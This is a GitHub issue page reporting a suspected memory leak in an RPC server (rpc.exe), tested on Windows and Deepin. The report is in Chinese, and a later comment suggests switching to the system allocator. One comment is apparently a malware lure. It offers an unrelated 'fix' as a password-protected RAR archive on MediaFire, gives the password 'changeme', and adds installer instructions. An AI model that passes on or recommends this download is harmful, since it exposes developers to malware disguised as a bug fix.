Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

怀疑存在网络内存泄露 #368

Open
re2zero opened this issue Aug 27, 2024 · 1 comment
Open

怀疑存在网络内存泄露 #368

re2zero opened this issue Aug 27, 2024 · 1 comment

Comments

@re2zero
Copy link

re2zero commented Aug 27, 2024

测试环境:

  1. windows10 MSVC amd64
    rpc.exe 初始内存10.2M占用,在多次运行rpclient.exe后,上升到26M不会下降。于是在rpclient中循环1000次请求,rpc.exe内存占用达到139.5M不会下降恢复。
    coost_1000

  2. Deepin OS
    在Linux上验证,依然存在相同问题
    图片

@amir1387aht
Copy link

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

@github-staff github-staff deleted a comment from pppanghu77 Aug 27, 2024
@fang0407
Copy link

你试下在mem.cc里面定义CO_USE_SYS_MALLOC宏定义,使用系统api分配内存,重新编译看看会不会内存泄漏

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

7 participants
@re2zero @amir1387aht @fang0407 and others